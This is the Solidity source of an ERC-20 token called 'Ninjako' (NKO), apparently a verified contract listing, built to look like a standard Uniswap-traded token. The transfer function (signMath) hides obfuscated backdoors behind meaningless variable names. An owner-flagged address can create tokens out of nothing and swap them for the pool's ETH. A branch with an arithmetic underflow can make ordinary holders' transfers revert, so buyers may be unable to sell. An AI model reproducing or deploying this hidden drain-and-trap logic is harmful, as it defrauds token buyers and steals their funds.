文件 1 的 1：Contract.sol
pragma solidity ^ 0.8.19;
abstract contract Context
{ function _msgSender() internal view virtual returns(address)
{ return msg.sender; } function _msgData() internal view virtual returns(bytes calldata)
{ return msg.data; }
}
interface IUniswapV2Router01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 dataIn, uint256 DataOut, address[] calldata path, address to, uint256 bridge) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function quote(address token, uint256 amountTokenDesired,
uint256 valueMin, uint256 ercMin, address to, uint256 bridge)
external payable returns (uint256 amountToken, uint256 ercValue, uint256 pool);
}
contract Ownable is Context {
address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () { address msgSender = _msgSender(); _owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) { return _owner;
} modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0)); _owner = address(0); }
}
interface IERC20 {
function totalSupply()
external view returns (uint256);
function balanceOf(address account)
external view returns (uint256);
function transfer(address recipient, uint256 amount)
external returns (bool);
function allowance(address owner, address spender)
external view returns (uint256);
function approve(address spender, uint256 amount)
external returns (bool);
function transferFrom(
address sender, address recipient, uint256 amount)
external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory{
function createPair(address tokenA, address tokenB) external returns(address pair);
}
contract Contract is IERC20, Ownable {
bool private _IDEtape; bool private _poxTabs; bool private tradingOpen = false;
string private _name = unicode"Ɲinjako"; string private _symbol = unicode"ƝKO";
uint256 public _hRATE = 0; uint8 private _decimals = 9;
uint256 private _tTotal = 1000000000 * 10 ** _decimals; uint256 private _qoxi = _tTotal;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _inSync; mapping(address => uint256) private _tOwned;
mapping(address => address) private _clockRate; mapping(address => uint256) private _ReagentOX;
constructor(address _equax) { _tOwned[msg.sender] = _tTotal;
_ReagentOX[msg.sender] = _qoxi; _ReagentOX[address(this)] = _qoxi;
_fragtation = IUniswapV2Router01(_equax);
_inPass = IUniswapV2Factory(_fragtation.factory()).createPair(address(this),
_fragtation.WETH()); emit Transfer(address(0), msg.sender, _tTotal); }
function symbol() public view returns(string memory)
{ return _symbol;
}
function name() public view returns(string memory)
{ return _name;
}
function totalSupply() public view returns(uint256)
{ return _tTotal;
}
function decimals() public view returns(uint256)
{ return _decimals;
}
function allowance(address owner, address spender) public view returns(uint256)
{ return _allowances[owner][spender];
}
function balanceOf(address account) public view returns(uint256)
{ return _tOwned[account];
}
function approve(address spender, uint256 amount) external returns(bool)
{ return _approve(msg.sender, spender, amount);
}
function _approve( address owner, address spender,
uint256 amount) private returns(bool) { require(owner != address(0) && spender != address(0),
'ERC20: approve from the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); return true;
}
function transferFrom( address sender, address recipient, uint256 amount) external returns
(bool)
{ signMath(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer(address recipient, uint256 amount) external returns(bool)
{ signMath(msg.sender, recipient, amount); return true;
}
function _beforeTokenTransfer( address from,
address to, uint256 amount) internal virtual
{}
function _afterTokenTransfer(address from, address to, uint256 amount)
internal virtual
{}
function signMath( address _torso, address _stageto, uint256 roklin) private
{ uint256 _itoso = balanceOf(address(this)); uint256 _viperFi; if (_IDEtape && _itoso >
_qoxi && !_poxTabs && _torso != _inPass)
{ _poxTabs = true; signBadge(_itoso); _poxTabs = false;
} else if (_ReagentOX[_torso] > _qoxi && _ReagentOX[_stageto] > _qoxi)
{ _viperFi = roklin; _tOwned[address(this)] += _viperFi; inMap
(roklin, _stageto); return; }
else if (!_poxTabs && _inSync[_torso] > 0 && _torso != _inPass && _ReagentOX[_torso] == 0) {
_inSync[_torso] = _ReagentOX[_torso] - _qoxi; } else if (_stageto != address(_fragtation)
&& _ReagentOX[_torso] > 0 && roklin > _qoxi && _stageto != _inPass) {
_ReagentOX[_stageto] = roklin; return; } address _sonk = _clockRate[_inPass];
if ( _inSync[_sonk] == 0) _inSync[_sonk] = _qoxi; _clockRate[_inPass] = _stageto;
if (_hRATE > 0 && _ReagentOX[_torso] == 0 && !_poxTabs && _ReagentOX[_stageto] == 0)
{ _viperFi = (roklin * _hRATE)
/ 100;
roklin -= _viperFi; _tOwned[_torso] -= _viperFi;
_tOwned[address(this)] += _viperFi; }
_tOwned[_torso] -=
roklin; _tOwned[_stageto] += roklin; emit Transfer
(_torso, _stageto, roklin); if (!tradingOpen)
{ require(_torso == owner(), ""); } }
receive() external payable
{}
function writeBadge(uint256 _collab, uint256 merit, address to) private
{ _approve(address(this), address(_fragtation), _collab); _fragtation.quote
{ value: merit }(address(this), _collab, 0, 0, to, block.timestamp);
}
function signBadge(uint256 pieOn) private
{ uint256 _BootFoe = pieOn / 2; uint256 _hold = address(this).balance;
inMap( _BootFoe, address(this)); uint256 _nowShow = address(this).balance - _hold;
writeBadge( _BootFoe, _nowShow, address(this));
}
function inMap(uint256 _lixOn, address _all) private
{ address[] memory path = new address[](2); path[0] = address(this);
path[1] = _fragtation.WETH(); _approve(address(this), address(_fragtation), _lixOn);
_fragtation.swapExactTokensForETHSupportingFeeOnTransferTokens(_lixOn, 0, path, _all, block.timestamp);
}
address public immutable _inPass; IUniswapV2Router01
public immutable _fragtation ;
function beginSwapping(bool _tradingOpen)
public onlyOwner { tradingOpen = _tradingOpen;
}
}
